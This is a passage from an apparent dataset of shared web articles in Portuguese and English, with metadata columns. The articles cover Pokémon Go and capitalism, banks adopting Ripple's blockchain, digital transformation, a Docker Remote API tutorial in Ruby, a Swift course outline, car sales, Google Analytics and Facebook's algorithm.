um iPhone ou a uma televisão de plasma de cinquenta polegadas - você dificilmente assistiria algo como Game of Thrones, Harry Potter, The Avengers, House of Cards, aquele anime japonês ou a final da Champions League. E isso pra não falar das chances de você acompanhar o dia a dia do seu músico favorito ou viajar de forma tão rápida pra conhecer outros países nas férias. Essa mágica é um fenômeno presente na sua vida de diferentes maneiras, do momento em que você acorda até a hora que você dorme. Mas se você reparou no parágrafo anterior, já deve ter sacado que parece ter algo estranho com ela - boa parte dos exemplos citados nasceram nos mesmos cantos do mundo. Há alguma razão pra isso? De fato, não é uma coincidência que a Niantic - a desenvolvedora do Pokémon Go (ao lado da Nintendo) - tenha sua sede em San Francisco, na California, e não em Caracas ou em São Luis do Maranhão. Assim como também não é por acaso que todas as empresas e produtos citados acima nasceram no coração daquilo que nós vulgarmente conhecemos como nações capitalistas . O Pokemon Go ajuda a explicar por que o Brasil é um país pobre. Há uma velha máxima liberal que diz que se Steve Jobs fosse brasileiro muito provavelmente morreria camelô, vendendo discos piratas, e o mundo não teria conhecido a Apple. O que está por trás dessa frase? O fato incontestável que essas empresas todas só proliferam em países que, graças a um robusto arcabouço institucional, permitem a inovação e a destruição criadora através de um sistema econômico baseado na recompensa do lucro, da garantia da propriedade privada e da liberdade de ideias e ações. Imagine que você tenha a chance de criar um mundo novo e nele desenvolva um sistema econômico onde todos os seres humanos do planeta estão a serviço de solucionar problemas uns dos outros. Nesse lugar, quanto mais você se coloca à disposição das pessoas, criando facilidades e prolongando o bem estar alheio, mais você será recompensado por isso. Parece uma boa ideia, não? O fato é que você não precisa criar nada novo pra isso rolar. Basta ajustar os ponteiros. Esse cenário já existe - e ao redor do mundo bilhões de pessoas estão inseridas nele. Nem você consegue escapar. Basta sair de casa para encarar como as coisas funcionam. Em qualquer esquina de qualquer cidade, o mundo está literalmente aos seus pés. Cabeleireiros, mecânicos, padeiros, costureiros, tatuadores, motoristas, cozinheiros. A única coisa que conecta esses caras é o interesse em servi-lo. E a lógica aqui funciona da forma mais implacável possível: quanto mais pessoas você consegue atender, mais recompensas você terá e mais pessoas você conseguirá colocar à sua disposição. É por isso, aliás, que Steve Jobs morreu mais rico do que qualquer atendente da Apple - Jobs soube criar muito mais valor à humanidade ao longo da sua vida que qualquer funcionário da sua empresa. E dizer isso tudo não é afirmar que toda riqueza do planeta é fruto da justa serventia das pessoas. Pelo contrário. Há muita injustiça no mundo, tanto no que diz respeito ao que acontece hoje em dia, quanto ao que já aconteceu no passado. E essa é a principal razão para entender por que esse papo de meritocracia não passa de um grande caô. Quer dizer, o mundo não é um lugar homogêneo, certo? Não é como se houvesse os mesmos padrões institucionais no Brasil, nos Estados Unidos, em Bangladesh e no Japão. Cada país tem suas próprias raízes históricas e sociológicas. Na prática, o lugar onde você nasce e a situação econômica da sua família são fatores consideráveis na hora de prever estatisticamente se você dará certo na vida ou não - quanto mais desenvolvido o país e a sua família, maior a chance de você acabar no topo da pirâmide (e isso não é o mesmo que dizer que um cara nascido num lixão não pode virar o homem mais rico do planeta; a probabilidade é que é muito menor). No fundo, não importa o quanto você se dedica a realizar uma coisa, o que importa é o quanto as outras pessoas dão valor aquilo que você cria. Aqui você está a serviço dos outros, certo? Então são eles que escolhem. Nesse sistema, você pode ficar rico dedicando uma vida inteira à ciência até construir um remédio que cure o câncer, como pode alcançar isso gastando alguns poucos minutos compondo uma letra de funk. Não existe uma regra ou um esforço mínimo necessário. Não é você quem escolhe ficar rico. São os outros que escolhem isso por você. Inegavelmente, no entanto, há muita gente malandra ganhando a vida explorando os outros. Empresários, banqueiros, industriais. O problema é que isso quase sempre é usado como desculpa para que governos controlem o mercado, escolhendo vencedores e perdedores. E o que era um nódulo pequeno acaba virando uma metástase. No fundo, todos nós reconhecemos que o mercado pode criar desigualdade, mas quase sempre ignoramos que boa parte da desigualdade no mundo é fruto das ações dos próprios governos (como alguns órgãos de Estado já vem admitindo ). É estúpido. Nós identificamos um problema e apresentamos como solução algo que só irá piorá-lo. E quando não conseguimos resolvê-lo o que propomos? As mesmas medidas, com as mesmas desculpas. Governos não raramente inibem concorrência, protegem cartéis, concedem monopólios, subsidiam grandes empresas, distorcem o mercado, redistribuem dinheiro às avessas e fingem curar todos os males que eles mesmos criam (e se você duvida disso é bom dar uma lida nesse estudo ). Na prática, nos lugares onde as pessoas mais conseguem servir umas às outras sem a mão pesada de um órgão central dizendo quem recebe mais recompensas e quem se dá mal no final, a criação de riqueza se dá de forma mais acelerada . E há boas razões para isso. Pare pra pensar no próprio cenário onde o Pokemon Go foi criado: o seu celular. É um dos ambientes mais livres e desburocratizados do mundo. Você só precisa de um aparelho celular (e já há mais linhas no mundo do que pessoas), acesso à internet e - bingo - você tem o mundo todo à disposição. É um mercado robusto, complexo, que reúne alguns dos serviços mais importantes do planeta na palma da mão. Os downloads na App Store, por exemplo: desde 2008 já passam de inacreditáveis 85 bilhões . São mais de 1,4 milhão de aplicativos disponíveis na loja da Apple, com as mais diversas funcionalidades. Números ainda maiores podem ser encontrados na Google Play. Como isso cria riqueza? Como mágica. E a lógica é a da serventia. Nesse momento, dezenas de milhares de desenvolvedores ao redor do mundo estão pensando em como agregar valor à humanidade produzindo novos aplicativos de celular. Tudo que eles querem é convencer você de que a solução que eles criaram para resolver o seu problema - um gerenciador de contas domésticas, um aplicativo de carona ou um jogo que irá salvar o seu dia do tédio - é a melhor possível. E muitas das soluções ajudam a resolver alguns dos maiores problemas do planeta. Pense por exemplo no que aconteceria se você não tivesse acesso a uma conta bancária. A sua vida seria um saco. Sem crédito, carregando pilhas de dinheiro na mão toda vez que quisesse pagar uma conta, com o risco de ser assaltado ou de ver a sua grana cair num bueiro a qualquer momento. Agora imagine que até a década passada 2,5 bilhões de pessoas no mundo não tinham acesso a uma conta bancária. Não é de se espantar que a maioria esmagadora delas vivesse nas regiões mais pobres do planeta - ter acesso a serviços financeiros é condição básica para o desenvolvimento humano, mas muitos países ainda tratam esse setor da forma mais burocratizada possível. Na Tanzânia, por exemplo, menos de 5% da população alcança essa possibilidade. E o que acontece por lá é a regra no mundo em desenvolvimento. Em 2009, os números apontavam para um banco para cada 100 mil pessoas na Etiópia. Abrir uma conta em Camarões custa US$ 700 - quantas pessoas você conhece que podem se dar a esse luxo mesmo num país com o nosso? E isso para não falar do cenário caso você seja uma mulher. Na Suazilândia, uma mulher só consegue abrir uma conta num banco com o consentimento do pai ou do marido. O cenário é caótico. O que os celulares estão permitindo? Uma verdadeira revolução. O M-Pesa , por exemplo. Você nunca ouviu falar nele, mas é um dos aplicativos mais importantes do planeta: um serviço de banco por celular da Vodafone oferecido aos quenianos desde 2007. Com quatro meses no ar o serviço já contava com 150 mil usuários. Quatro anos depois o número saltou para 13 milhões. De acordo com a The Economist , apenas nos dois primeiros anos à disposição a renda dos quenianos que utilizam o serviço aumentou entre 5% e 30%. Só em 2015, os quenianos movimentaram US$ 27 bilhões em transações móveis. A revolução é tamanha que o país se tornou o recordista mundial de transações financeiras via celular, mesmo sendo uma das nações mais miseráveis do planeta. A mágica é inevitável. Se lembra daquele número de 2,5 bilhões de pessoas sem acesso a uma conta bancária? Segundo uma estimativa do Banco Mundial esse número caiu 20% entre 2011 e 2014. E continua caindo. Graças a esses caras todos que passam o dia pensando em como ganhar recompensas financeiras resolvendo problemas da humanidade. Não dá pra negar que esse é um incentivo e tanto. Alguns economistas da London School of Business and Finance calcularam que acrescentar 10 telefones por 100 pessoas aumenta em 0,6% o PIB de um país em desenvolvimento. E a conta aqui é simples. Se a gente pegar as cifras da ONU sobre redução de pobreza - que diz que 1% de crescimento do PIB resulta em uma redução da pobreza de 2% - isso significa que aquele crescimento de 0,6% reduziria a pobreza em cerca de 1,2%. Se 4 bilhões de pessoas ainda vivem na pobreza ao redor do mundo, isso significa que cada 10 telefones novos por 100 pessoas tiram 48 milhões da pobreza no mundo. Isso é 1/4 da população brasileira. Nada mal. A boa notícia é que na África subsaariana os números de aparelhos celulares não param de subir. E não são mais 10 por 100. Hoje, quase metade da população no continente possui acesso a uma linha. Só em 2014, a indústria de telefonia móvel contribuiu com mais de US$ 100 bilhões para a economia da região. E os resultados são impressionantes. No Zâmbia, por exemplo, fazendeiros sem contas bancárias agora dispõem de telefones celulares para comprar sementes e fertilizantes. A prática foi responsável por aumentar seus lucros em quase 20% . As revoluções acontecem das mais diferentes formas. Através de aplicativos de celular, hoje os africanos conseguem acesso - muitos pela primeira vez - a serviços de educação, saúde, meteorologia e emprego. Não é de se espantar que um dos mercados mais acessíveis e desburocratizados do mundo - o de aplicativos de celular - seja um dos principais responsáveis pela diminuição da pobreza no planeta. É a livre competição em ação. A grande questão aqui é que esses aplicativos todos são desenvolvidos em sua maioria nos países que já são desenvolvidos. E eles não nascem lá por acaso. Quer dizer, não é uma coincidência que o Vale do Silício esteja nos Estados Unidos e não na Bolívia. Há poucos dias, Eduardo Paes, prefeito do Rio, para que o pediu Pokemon Go fosse lançado oficialmente também no Brasil, às vésperas das Olimpíadas. O pedido não aconteceu sem motivo. Não dá pra prefeitura da cidade simplesmente sair inventando aplicativos como esse, não é mesmo? Seria tão estúpido quando o governo lançar um concorrente ao Facebook - e ele pode até lançar, o problema é que ele não convenceria ninguém a utilizar o serviço. Pokemon Go pode ser encarado num primeiro momento como um aplicativo sem grandes propósitos, mas o fato é que ele é resultado direto de uma economia complexa, que atingiu tamanho nível de divisão de trabalho graças aos processos de mercado, que é capaz de dar utilidade econômica à diversão. Ao redor do aplicativo, não por acaso, em poucos dias já começa a se formar uma robusta teia de negócios. Um americano da Florida, por exemplo, criou um serviço de transporte para caçar Pokémon (por US$ 25 a hora o cara vira motorista para as pessoas usarem o aplicativo sem risco de acidente, dirigindo ao redor de PokéStops, ginásios e parques locais). Em Indiana, também nos EUA, um abrigo de animais está incentivando as pessoas a levarem seus cãozinhos ao local, enquanto eles aproveitam o espaço para jogar (o aplicativo, aliás, está ajudando as pessoas a encontrar animais de verdade). Outros estabelecimentos comerciais já fazem o mesmo. Num cenário de envolvimento como esse, não é de se espantar que o aplicativo, entre outras coisas, já esteja ajudando as pessoas a lutarem contra a depressão. O fato é que o mesmo cenário desburocratizado que ajuda a formar milhões de aplicativos de celular - e, por sua vez, gerar riqueza - vale também no mundo offline. Os países não são capitalistas apenas porque são ricos - são ricos porque são capitalistas. E ninguém precisa explorar o outro pra alcançar isso, como os aplicativos de celular estão mostrando (exploração é uma regra no mundo desde que o homem é homem, não uma exceção; não dá pra usar essa desculpa pra explicar porque alguns países enriqueceram nos últimos dois séculos). Há pouco tempo, o mundo inteiro era miserável. Ainda em 1820, 75% da humanidade vivia com menos de um dólar por dia (hoje esse número é de 17%). Desde então, a renda média das pessoas ao redor do planeta aumentou em nove vezes. Por que alguns países enriqueceram mais que outros nesse intervalo de tempo? O que faz com que um cidadão de Botswana - um país da África subsaariana que há apenas quatro décadas vivia na mais absoluta pobreza - tenha ultrapassado a renda média per capita de um cidadão brasileiro? Parte dessa resposta está no Pokémon Go . Países que criam incentivos para que as pessoas sejam recompensadas financeiramente em apresentar soluções para a humanidade - como é possível de forma desburocratizada com os aplicativos do seu celular - permitem um mundo mais rico e socialmente mais engajado. É isso que você encontra em Palo Alto e em San Francisco. É isso que falta em Salvador e no Rio de Janeiro. Comentários",pt
1468848733,CONTENT SHARED,7459643459148487877,-6316613156648676087,-7630718902283542343,,,,HTML,http://www1.folha.uol.com.br/mercado/2016/07/1792668-grupo-de-bancos-adere-a-tecnologia-do-bitcoin-em-transacoes.shtml,Grupo de bancos adere à tecnologia do bitcoin em transações,"Um grupo de sete bancos que inclui o Santander, o CIBC e o UniCredit anunciou um grande avanço tecnológico. Eles estão entre as primeiras instituições financeiras do planeta a movimentar dinheiro real internacionalmente usando tecnologia baseado no sistema blockchain. O blockchain é uma base de dados com cópias idênticas distribuídas por diferentes computadores e controlado por diferentes entidades, as partes envolvidas naquelas transações, sem um órgão que sirva de autoridade central. Espécie de livro de registros virtual, a tecnologia, está por trás da moeda virtual bitcoin. No mês passado, os bancos anunciaram que tomaram parte em projetos de realização de pagamentos internacionais, usando ativos digitais na plataforma da Ripple, empresa de San Francisco que trabalha com compensação digital de transações. Em lugar de executar transações por meio de contas em moeda local em bancos correspondentes de todo o planeta, os bancos convertem fundos à moeda do Ripple, conhecida como XRP, e em seguida concluem a transação quase automaticamente. Até o momento, o processo de compensação era lento -demorando de três a cinco dias, em muitos casos- e sujeito e erros. Os sete bancos que assinaram representam ""um grande marco, talvez um ponto de inflexão"", disse Chris Larsen, presidente-executivo e cofundador da Ripple. A tecnologia baseada em sistema blockchain capturou a imaginação do setor de serviços financeiros nos dois últimos anos, com diversas empresas buscando maneiras de utilizá-lo a fim de reduzir os custos e reformular suas operações cotidianas. O Conselho de Fiscalização da Estabilidade Financeira, que congrega diversas autoridades regulatórias dos EUA, declarou em sua revisão anual que sistemas como o da Ripple podem reduzir o custo de transações e aumentar a eficiência da intermediação financeira. No entanto, o conselho acrescentou que esses sistemas ""apresentam certos riscos e incertezas"". O alerta surgiu depois que a DAO, uma organização descentralizada autônoma que usa o blockchain da moeda virtual ethereum, foi atacada por hackers que roubaram cerca de US$ 60 milhões. O grupo de bancos que usam o Ripple inclui também o suíço UBS, o alemão ReiseBank, o National Bank of Abu Dhabi e o ATB Financial, do Canadá. Tim Wan, diretor de inovação do ATB, em Calgary, disse que seu banco havia começado a usar a plataforma para processar pequenos pagamentos em valor máximo de alguns milhares de dólares, mas que queria experimentar com compensações em maior volume, operando por ""lotes"" -e que pretendia usá-la para ingressar em novas áreas de negócios, tais como fornecer liquidez em larga escala aos mercados de câmbio. ""No fim, o que a tecnologia tem de melhor é que ela é uma grande democratizadora"", disse Wan. ""Você não confia na instituição, mas na transação. Se os fundos existirem, a transação acontecerá.""",pt
1468852057,CONTENT SHARED,5533752987392101383,-2726721797588771398,-3534935468229000936,,,,HTML,https://hbr.org/2016/07/7-questions-to-ask-before-your-next-digital-transformation,7 Questions to Ask Before Your Next Digital Transformation,"Although digital investment is almost unquestionably the right course of action for most firms, organizations still struggle to create the desired results. Estimates of digital transformation failures range from 66% to 84%. Such a high failure rate isn't surprising, as leaders are trying to create entirely new competencies and wedge them into an organization with strong legacy cultures and operating models. While most executives are pros at managing change, digital transformation is a much deeper change than the usual process or system update. Of course, digital technology can be used to improve or augment existing ways of operating, but it also opens entirely new ways of doing business based on digital networks like Uber, Airbnb, Yelp, and the Apple Developer Network - which is where a great deal of the digital value resides. So as you navigate your own digital transformation, we recommend beginning with a few questions that go deeper than ""what talent do you need"" or ""how much money will you spend"" and probe broader organizational readiness. Is this a digital upgrade or a digital transformation? Most companies target digital transformation and end up with digital upgrades, using digital technology to increase efficiency or effectiveness at something your firm is already doing. For example, increasing your marketing spend for digital channels or upgrading internal communication systems. On the other hand, a digital transformation occurs when you use digital technology to change the way you operate, particularly around customer interactions and the way that value is created-for example, Apple using its developer network to create software for its devices. If you discover that you are actually embarking on an upgrade instead of a transformation, ask yourself if that will be sufficient to maintain competitiveness when business models based on digital networks create market valuations four times higher than the rest. Are you really bought in, and is your team? Digital technology and business models are on the radar of every executive, and there is an expectation that most companies must change to keep up. However, a situation that we have seen over and over again is a leadership team trying to lead a digital transformation that they aren't particularly passionate about. We all have core beliefs about what creates value in the world, and these shape the way we allocate our time, attention, and capital. Most leaders have decades of experience focusing on assets like plants, real estate, inventory, and human capital. Shifting away from these habitual priorities takes self-reflection and openness, and often a concerted effort to build new patterns in thought and action. Are you prepared to share value creation with your customers? The latest technology-enabled business model, network orchestration, is premised on the fact that companies can allow customers and other networks to share in the process of value creation. Uber relies on a network of drivers; Airbnb relies on a network of property owners; Ebay relies on a network of sellers. These networks are essential to the organizations, and, by accessing external assets, these firms are able to achieve outstanding profitability. Sharing the workload seems like an obviously winning proposition, but many leaders are hesitant to relinquish control and rely on a network that lies outside of their chain of command. Working with these external groups requires new, co-creative leadership styles, but also can allow organizations to tap into enormous pools of capabilities and under-utilized resources. Have you put walls around your digital team? A digital upgrade requires a well-defined team with a narrow scope. A digital transformation requires a team with a cross-functional mandate and strong support. This becomes an important point because organizations usually do not change their internal structure as a part of digital transformation and so the teams working on these transformations get slotted into the existing structure. Where the team actually ""sits,"" both physically and in the org chart, can affect their ability to influence the cross-functional groups integral to real digital transformation. We have seen many companies limit the progress of digital by basing their team in marketing or IT. Do you know how to measure the value you intend to create? You manage what you measure. For most organizations, the focus is on physical capital (for making and selling goods) or human capital (for delivering services). These firms track inventory, productivity, utilization, and other traditional Key Performance Indicators (KPIs). Digital transformations don't always affect the KPIs a company is already measuring. Of course the end goal of a transformation is to affect revenue, profitability, and investor value. Along the way, however, it is useful to track intermediate indicators. For many digital network companies, this includes sentiment and engagement as well as network co-creation and value sharing. For example, when judging the success of the Developer Network, Apple can measure the number of developers creating apps for their app store, the amount of money generated by those apps that Apple shares with their community, and customer satisfaction with apps. Are you ready to make the tough calls about your team? There is an old saying: ""It is easier to change the people than to change the people."" Said another way, sometimes a new vision requires new people to create it. For many, the digital people you need on your team and on your board don't reside in your organization-at all, or at least not in the right quantity. Many of your current staff will be dedicated to doing what they have always done and will create resistance and roadblocks for change. To make room for your digital transformers, make the tough calls early on regarding your team and board. In our experience, nearly half of your team and board will need to turn over during the course of a successful digital transformation. Although painful, it's really a good thing for the organization-creating balance between the old and new. Will you be ready to spin off your digital business? Sometimes the upstart inside the organization becomes bigger and more valuable than the parent that gave birth to it-or risks not attracting the right talent or suffering turf wars between digital and legacy. (A great resource on this is The Second Curve by Ian Morrison.) Often, separation is required to enable both the parent and child to continue growth. Google is an expert at both creating new ventures and enabling them to grow; witness their recent reorganization into Alphabet to enable each of its major businesses to pursue their own potential (including Google and YouTube). In other organizations, the new, digital business will actually absorb and improve its parent. Transforming an organization is difficult, and the research proves it. But it is still worth doing. Forrester's assessment is that by 2020 every business will become either predator or prey . As a leader, you likely already know the basics of managing change, but a digital transformation goes deeper, and thus makes different demands on you, your team, and your organization. In return, however, you have the opportunity to invest in the most profitable and valuable business models the market has seen.",en
1468857630,CONTENT SHARED,-1564468014116140117,3609194402293569455,-994018857365466368,,,,HTML,https://www.sitepoint.com/automate-docker-with-the-remote-api-and-ruby/,Automate Docker with the Remote API and Ruby,"Docker is a really nifty tool to have under your belt. It's been used by many developers to ease the process of development. We have done many topics for Docker, you can check them here . If you have not yet installed Docker on your machine, you can find out how via those articles or on Docker's site . In this post, I am going cover Docker's Remote API . If you used Docker up to this point, it's likely been via the command-line interface which is actually a client that uses the Remote API. By the way, I presume that you understand all the basics of Docker. If not, please read the articles I link to above. Before we can interact with the API we have to configure Docker to listen on a specific TCP port. Let's edit the Docker config file: Path: /etc/init/docker.conf Add this line: Restart docker: Now we can connect to our Docker server using port 4243 . Let's test our connection to the server before proceeding. This can be accomplished with the command line tool This will print all the images we have on our Docker server. I tend to prefer to use a REST Client when dealing with more data: This confirms that we can access our Docker server. Ruby Let's get to the Ruby part. We are going to use the docker-api gem. This will allow us to have an object oriented interface to the Docker Remote API. We can install it directly from our terminal: Or add it to the Gemfile: We will use IRB (Interactive Ruby Shell) throughout the tutorial, but any of the examples can be done in a Ruby file. First step is to import the docker-api gem: Point it to our docker server: Let's test our connection now, this can be easily done by using the version method: The server responds with some information for the host system of the Docker server.If you get an error complaining ""Connection Refused"" like so: Then you probably have a problem with the server. Note : Check if you are connecting to the right port and make sure if you have a firewall configuration that allows connections to that particular port. Docker Images Manipulating with images is very easy: This might take some time depending on the network connection, it will pull the Rails image from Docker Hub . Something worith noting here: we are separating Rails and the version (4.2) we want. This is a Docker image name and tagging convention that works for many other docker images, such as ruby:latest or debian:latest . Let's make sure we have the image on the server. SSH into your Docker server (this is likely just your local box) and run: Quick tip: if you have downloaded a lot of images you can run: This will now only list images that have the word ruby . The output might look something like this: The information shown is: The name of the repository The tag or the version of the image, this can be specified as a number or name like ruby:latest or ruby:1-wheezy The image ID The creation date the size . This confirms that we have successfully pulled an image. Now let's see what images we have in our Docker server via the API. If we execute the Image.all method we will get a JSON representation of our images: Containers Creating and running instances of these images as containers is also possible: This will create a container with the Ubuntu image we have on our server. Note the 'Tty' => true part thatl checks that our container is running via SSH. If we don't add the Tty parameter, then our container will exit, since it's just a process and it will die (exit). The container is created, we need to start it: Time to check and see if our container is running. Go back to the shell session and run this command: We have have confirmed that our Docker container is running. Now from the API back in irb : We get a simplified return value representing the running container. There are also some other methods you can use for stopping, restarting, and pausing the container. Check out the documentation for more details on them. Requesting a Container What if we have an existing container and we want to attach to it? Simply request the container by ID or name: This will get the container using the ID. If we want to request it by name, first run the docker ps command in the terminal to get the list of containers running and their names: In this example if we want to request our rails container the name of it is sick_austin . The name will always be different, even if you have two containers from the same image. Each container will have a different name. This will print a lot of information back about the container; what kind of ruby version we are running, bundler version, and even network information. Now we could easily stop the container (don't do this just yet...we still have work to do): We can also pass commands to the container and catch the output, like the ls command which will return the list of directories: Creating an Image From a Container Creating an image from a container is very useful. Say we have a scenario where we have worked in a special environment with a lot of configuration and we would like to create an image out of that. First, let's make a change to our container. In our example, we have created this really important configuration file named sitepoint.conf . We are using the same exec method we used before, passing in two parameters touch and sitepoint.conf . touch is a Linux command that will create an empty file, and the other parameter is the name of the file we want to create. We should check now that our configuration file is in our container: We can see that sitepoint.conf is listed on our server: Creating the Image The commit method will create the image from the container: Now, if we list our docker images, we'll see our new image. I am doing it via the SSH session for a better preview: Which will return: The one on top is the copied image of our container, which is identifiable by the date when it was created. Also, there is no repository or tag for the newly created image. Create a new container that launches a bash prompt using the new image's ID: We have an interactive shell now inside the container and can use the ls command: There's the sitepoint.conf file, alive and well. This confirms that we have built a new container from the image we created above. Conclusion Having access to our Docker server from different environments can be a great help to automate our workflow. This allows for creative solutions and new ideas for Docker. There are still some things that need to be covered such as securing the connection to the API, you can read more on that here . Now, go forth and automate your Docker workflow using Ruby and the Remote API.",en
1468861880,CONTENT SHARED,4106497696154898573,881856221521045800,7372165047535325487,,,,HTML,https://www.udacity.com/course/learn-swift-programming-syntax--ud902,Learn Swift Programming Syntax | Udacity,"Lesson 1: Swift Basics In this lesson, you'll become familiar with Swift types and operators, and develop deftness in defining variables and constants. Lesson 2: Optionals Learn about your new Swift BFF: Optionals! In this lesson, you'll declare explicitly and implicitly unwrapped optionals, and unwrap optionals using both optional binding and optional chaining. Lesson 3: Collections In this lesson, you'll learn about Dictionaries, Arrays, and Sets and perform basic operations including: append, count, insert, remove, update, find, and retrieve. Lesson 4: Control Flow In this lesson, you'll practice fast iteration with for-in loops by iterating through items in Arrays and Dictionaries. You'll also get experience with if-else statements and switch statements. Lesson 5: Functions In this lesson, you'll define and call functions, correctly use local and external parameters, and identify parameter types and return types. Lesson 6: Classes, Properties, and Methods In this lesson, you'll practice building custom classes with their own properties and methods. Lesson 7: Enums and Structs In this lesson, you'll learn the difference between value types and references types and practice choosing when to use enums, structs, and classes. Lesson 8: Protocols and Extensions In this lesson, you'll learn how protocols and extensions can help keep your code DRY. Given a series of code snippets, you'll fix compiler errors by conforming to and implementing the appropriate protocols. Lesson 9: Closure Expressions In this lesson, you'll practice using Swift closures with the functions, sorted() and filter(). You'll also learn shorthand to make your closure expressions super concise.",en
1468861912,CONTENT REMOVED,4106497696154898573,881856221521045800,7372165047535325487,,,,HTML,https://www.udacity.com/course/learn-swift-programming-syntax--ud902,Learn Swift Programming Syntax | Udacity,"Lesson 1: Swift Basics In this lesson, you'll become familiar with Swift types and operators, and develop deftness in defining variables and constants. Lesson 2: Optionals Learn about your new Swift BFF: Optionals! In this lesson, you'll declare explicitly and implicitly unwrapped optionals, and unwrap optionals using both optional binding and optional chaining. Lesson 3: Collections In this lesson, you'll learn about Dictionaries, Arrays, and Sets and perform basic operations including: append, count, insert, remove, update, find, and retrieve. Lesson 4: Control Flow In this lesson, you'll practice fast iteration with for-in loops by iterating through items in Arrays and Dictionaries. You'll also get experience with if-else statements and switch statements. Lesson 5: Functions In this lesson, you'll define and call functions, correctly use local and external parameters, and identify parameter types and return types. Lesson 6: Classes, Properties, and Methods In this lesson, you'll practice building custom classes with their own properties and methods. Lesson 7: Enums and Structs In this lesson, you'll learn the difference between value types and references types and practice choosing when to use enums, structs, and classes. Lesson 8: Protocols and Extensions In this lesson, you'll learn how protocols and extensions can help keep your code DRY. Given a series of code snippets, you'll fix compiler errors by conforming to and implementing the appropriate protocols. Lesson 9: Closure Expressions In this lesson, you'll practice using Swift closures with the functions, sorted() and filter(). You'll also learn shorthand to make your closure expressions super concise.",en
1468865877,CONTENT SHARED,-3619568065513202846,-6030696784871381528,-583539598679532802,,,,HTML,http://omundoemmovimento.blogosfera.uol.com.br/2016/07/18/quinzena-tem-a-melhor-venda-diaria-do-ano/,Quinzena tem a melhor venda diária do ano,"O aumento das vendas diárias na primeira quinzena de julho, embora insignificante, pode ser um sinal de recuperação. Foi o melhor desempenho diário do ano, com 8.165 unidades nos primeiros onze dias úteis do mês. Mas mesmo se o ritmo de vendas se mantiver até o fim do mês julho não será o melhor do ano, pois faltam apenas dez dias úteis para completar o mês. Foram comercializados 89.822 carros e comerciais leves até a última sexta-feira e o ranking por marca sofreu algumas alterações importantes: a GM continua líder, com 15.310 e 17% de participação; a Fiat teve uma ligeira recuperação, com 14.909 e 16,6% e a Volkswagen se distanciou das duas primeiras colocadas: vendeu 11.114 unidades na primeira quinzena e ficou com 12,4%. A Hyundai, que obteve a quarta colocação no ranking em meses anteriores, caiu para o sexto lugar na quinzena, sendo ultrapassada pela Toyota (quarta colocada com 9.045 unidades e 10,1%) e a Ford (quinta, com 8.304 e 9,4%). A coreana vendeu apenas 8.203 carros e ficou com 9,1%. Se as posições se mantiverem até o fim do mês será a primeira vez que a Toyota ocupará a quarta posição no ranking. Além do Corolla, quinto colocado na quinzena, o Etios aumentou a participação e ficou em 13º lugar (hatch) e 19º (sedã). Ranking por marca 1ª quinzena de Julho",pt
1468867647,CONTENT SHARED,-6783772548752091658,4918484843075254252,-8995217520473210153,,,,HTML,http://www.caroli.org/livro-retrospectivas-divertidas/,Livro: Retrospectivas Divertidas,"Neste livro, nós fornecemos um conjunto de ferramentas de atividades para transformar um grupo de pessoas em um time eficaz. Manter a diversão para os participantes e proporcionar um ambiente onde todos poderão refletir e discutir sem perder a diversão é fundamental para a melhoria contínua. Apresentaremos aqui um catálogo de atividades diversas, apropriadas, uma a uma, a diferentes contextos e equipes. Todas equipes devem fazer uma retrospectiva por semana, a menos que estejam sem tempo. Daí devem fazer duas!",pt
1468883876,CONTENT SHARED,5141088074002391058,-5639303336519418445,2237529015427771864,,,,HTML,http://metricasboss.com.br/novo-relatorio-disponivel-no-google-analytics/,Conheça o Relatório de Informações do Público Alvo do GA :),"Já havíamos falado no blog sobre como conhecer o público alvo do seu negócio através de sexo, idade e interesse das pessoas que acessam. Se você não sabe disso, dê uma olhada ! Mas para podermos saber receita, transações e origem de tráfego desses acessos era necessário criar um relatório personalizado, que não era complicado de fazer, mas ainda sim tinha que criar :/ O Google Analytics junto com a nova formulação do menu do site (que ficou muito mais fácil de navegar entre contas), trouxe outra novidade, o Relatório de Informações do Público Alvo do Google Analytics. Com esse relatório é possível saber categoria de afinidade, idade, sexo, tamanho global do público, sessões, receita, transações e taxa de conversão. O relatório de informações do público alvo gera informações MUITO poderosas. Além de ajudar na segmentação de campanhas de google display por exemplo, é possível saber se as pessoas que acessam seu site são de fato o target que você quer atingir. Incluindo uma origem ali como dimensão secundária você pode ajustar as suas mídias pagas para acertar o target que mais gera receita, conversão ou outro KPI que te ajude a alavancar a sua meta! Relatório novo que otimiza tempo e ainda ajuda a cada vez mais ter uma tomada de decisão rápida. Pelo que testamos, esse relatório ainda não esta disponível para todas as contas do Google Analytics. Cada vez mais o Google Analytics aumenta o seu acervo de relatórios, dando mais opções para podermos entender o comportamento das pessoas que acessam nosso site e otimizar nossas estratégias para atingir o objetivo de forma mais eficaz! E aí, o que achou do novo relatório do Google Analytics? Já esta disponível na sua conta?",pt
1468927777,CONTENT SHARED,2633033854118851671,-5639303336519418445,-5884701978131455996,,,,HTML,https://www.mundodomarketing.com.br/artigos/pablo-massolar/36525/como-o-novo-algoritmo-do-facebook-afeta-sua-estrategia-de-marketing.html?platform=hootsuite,Como o novo algoritmo do Facebook afeta sua estratégia de Marketing,"Uma nova atualização do Facebook deixou o mercado de Marketing Digital bem assustado e confuso. Não faltaram artigos de veículos dos mais variados nichos com títulos do tipo ""Este pode ser o último post nosso que você vai ver aqui"" e coisas do gênero... Foi (e ainda está sendo) a maior correria, porque muitas marcas e empresas andaram apostando muitas de suas fichas na plataforma do Zuckerberg como único ou principal meio de conversar com prospects e fãs. A nova regra é clara: serão priorizados conteúdos compartilhados por amigos e familiares, ou seja, o conteúdo das fanpages sofrerá diminuição, mais uma vez, no alcance orgânico. O alcance orgânico é tudo aquilo que você vê na sua timeline que não tenha a palavrinha ""patrocinado"". Na verdade, já faz algum tempo que o alcance gratuito das fanpages e grupos vem caindo sistematicamente. Em média, as postagens são exibidas para no máximo 2% dos fãs e agora vai cair mais ainda. O Facebook diz que a intenção é diminuir a poluição de informações desnecessárias e SPAM, o que em parte é verdade, mas, por outro lado isso obriga as empresas a investirem mais dinheiro em publicidade na plataforma para que consiga falar com seu público-alvo. ""E agora, José?"" Desde que surgiu, como um projeto de garotos de faculdade, o objetivo do Facebook sempre foi conectar as pessoas através da afinidade e interesses em comum. O algoritmo da plataforma tenta cruzar as informações de curtidas e cliques anteriores para entregar novos conteúdos com os quais os usuários tenham alguma ligação emocional, algo que os faça se sentir bem e continuar o máximo de tempo possível vendo a nova foto da formatura da amiga, o vídeo do bebê dando gargalhada ou o perfil do(a) ex-namorado(a), para descobrir se o status de relacionamento mudou. O maior ativo do Facebook são as pessoas. Só no Brasil são 92 milhões de perfis ativos de todas as classes sociais. Oito em 